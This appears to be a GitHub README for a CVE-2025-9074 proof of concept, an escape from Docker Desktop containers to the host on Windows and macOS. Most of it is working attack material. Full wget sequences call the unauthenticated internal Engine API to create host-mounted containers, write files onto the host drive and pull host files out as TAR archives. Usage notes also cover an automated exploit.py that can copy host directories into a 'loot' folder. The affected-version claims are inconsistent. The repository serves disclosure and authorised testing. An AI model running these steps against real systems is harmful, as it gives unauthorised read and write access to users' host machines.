pucagit/CVE-2025-9074

GitHub: pucagit/CVE-2025-9074

Stars: 0 | Forks: 0

# CVE-2025-9074 – Full Docker Escape on Windows & macOS Docker Desktop ## 📌 Description Docker Desktop exposes the internal Docker Engine API at **`http://192.168.65.7:2375`** to *any* running container — with **no authentication and no access control**. Because the engine itself can mount the host filesystem, a container can call this API to **create a new container that bind-mounts the host drive**, then use that container to **read and write arbitrary host files** — a complete container-to-host escape. ## 📝 References - [CVE-2025-9074 Record](https://www.cve.org/CVERecord?id=CVE-2025-9074) - [Docker Desktop Release Notes (fixed in 4.44.3)](https://docs.docker.com/desktop/release-notes/#4443) - [Felix Boulet’s Research](https://blog.qwertysecurity.com/Articles/blog3.html) ## 🎯 Affected Versions - Docker Desktop **≤ 4.44.3** on **Windows** and **macOS** ## ⚙️ How It Works 1. **Reach the API.** A running container connects to the Docker Engine API at `http://192.168.65.7:2375` — no credentials are required. 2. **Create a privileged container.** It sends `POST /containers/create` with `Binds: ["/mnt/host:/host_root"]`, mounting the host drive into a new container. Inside the Docker VM the host filesystem is exposed at **`/mnt/host`** (e.g. the Windows `C:` drive is at `/mnt/host/c`). 3. **Start the container.** `POST /containers/{id}/start` activates the bind mount, giving full host access. 4. **Write host files.** The new container runs a command that writes into the bind mount (e.g. `echo pwned > /host_root/c/test/pwn.txt`). 5. **Read host files.** `GET /containers/{id}/archive?path=...` streams any host path back as a TAR archive — no shell required. ## 🧪 Lab Setup ### Requirements - Docker Desktop **prior to 4.44.3** (Windows or macOS) - An attacker container that can reach the internal API (any container can) ### Prepare test data (Windows) Create `C:\test\readme.txt` with some sample content so the read demo has a target. ![poc 1](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/b8e90912bd045018.png) ### Launch an attacker container docker run -it --rm alpine /bin/sh All manual steps below run **inside this container** (`alpine` ships with `wget`). Set a shell variable for the API to keep commands short: API=http://192.168.65.7:2375 ## ✍️ Reproduction — WRITE to the host Goal: create `C:\test\pwn.txt` on the host from inside a container. # 1. Create a container that mounts the host C: drive and writes a file into it. wget -q -O create.json \ --header='Content-Type: application/json' \ --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \ $API/containers/create # 2. Extract the new container ID from the JSON response. cid=$(cut -d'"' -f4 create.json) # 3. Start it — the command runs and writes the file to the host. wget -q -O - --post-data='' $API/containers/$cid/start **What happened:** - `Binds: /mnt/host:/host_root` mounts the host drives into the new container. - The container’s command writes `pwned` to `C:\test\pwn.txt` (`/host_root/c/test/pwn.txt`). - No credentials were ever required. **Expected result:** `C:\test\pwn.txt` now exists on the host. ![poc 2](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/2d572ae149045018.png) ## 📖 Reproduction — READ from the host Goal: read `C:\test\readme.txt` off the host from inside a container. # 1. Create + start a container with the host drive mounted (kept alive briefly). wget -q -O create.json \ --header='Content-Type: application/json' \ --post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \ $API/containers/create cid=$(cut -d'"' -f4 create.json) wget -q -O - --post-data='' $API/containers/$cid/start # 2. Ask the engine for a TAR archive of the host directory, then extract it. wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test" tar -xvf test.tar cat test/readme.txt **What happened:** - The same bind mount exposes the host drive read-only-friendly to the new container. - `GET /containers/{id}/archive?path=...` streams any host path back as a TAR — no shell needed. - Extracting the archive reveals the host file contents. **Expected result:** the contents of `C:\test\readme.txt` are printed. ![poc 3](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/8fdd6d48a1045019.png) ## 🤖 Automated Exploitation — `exploit.py` [`exploit.py`](exploit.py) automates both flows. It uses **only the Python standard library**, **auto-detects** the host mount (Windows `/mnt/host/c` vs macOS/Linux `/`), and translates native host paths for you. # From the repo directory on the host: docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info On Windows PowerShell, use `-v "${PWD}:/x"`; on cmd.exe use `-v "%cd%:/x"`. ### Verify access python /x/exploit.py info Pings the API, detects the host OS, and lists the top-level host mount entries. ### Write a host file # Windows host python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074' # macOS/Linux host (or pipe content via stdin) echo "pwned" | python /x/exploit.py write /tmp/pwn.txt ### Read a host file # Print to stdout python /x/exploit.py read 'C:\test\readme.txt' # Or extract (file or whole directory) into ./loot python /x/exploit.py read 'C:\test' --out ./loot ### Useful flags | Flag | Purpose | |------|---------| | `--api URL` | Override the API endpoint (default `http://192.168.65.7:2375`) | | `--image NAME` | Image for the exploit container (default `alpine`, auto-pulled if missing) | | `--vm-mount PATH` | Skip auto-detect and force the in-VM host mount (e.g. `/mnt/host` or `/`) | ## 🛡️ Mitigation - **Upgrade Docker Desktop to ≥ 4.44.3** on Windows and macOS. - Do not run untrusted images; the unpatched API is reachable from *any* container. ## ⚠️ Disclaimer This PoC is for **authorized testing, education, and research only**. The author assumes **no liability for misuse**. Only run it against systems you own or are permitted to test. ## 🙏 Attribution This PoC and README are **derived from research by [Felix Boulet](https://blog.qwertysecurity.com/Articles/blog3.html)**. All credit for the original discovery and analysis belongs to the original author. ## 📜 License This project is licensed under the [MIT License](LICENSE).